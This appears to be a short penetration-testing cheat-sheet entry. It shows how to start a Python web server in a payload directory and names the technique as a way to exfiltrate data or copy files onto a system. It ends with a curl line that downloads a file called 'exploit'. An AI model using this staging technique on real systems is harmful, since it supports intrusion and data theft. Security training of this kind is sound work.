Summary
Simple Python Web Server
Command
Python 2 cd /payloadDirectory python -m "SimpleHTTPServer" 8000
Python 3
cd /payloadDirectory
python3 -m http.server 8001
Description
The web server will show the contents of the payloadDirectory
800X is the configurable listening port
Use this technique to exfiltate data from a system with python installed or copy files onto a system.
This works well for curl or a browser.
curl -O http://127.0.0.2:8000/exploit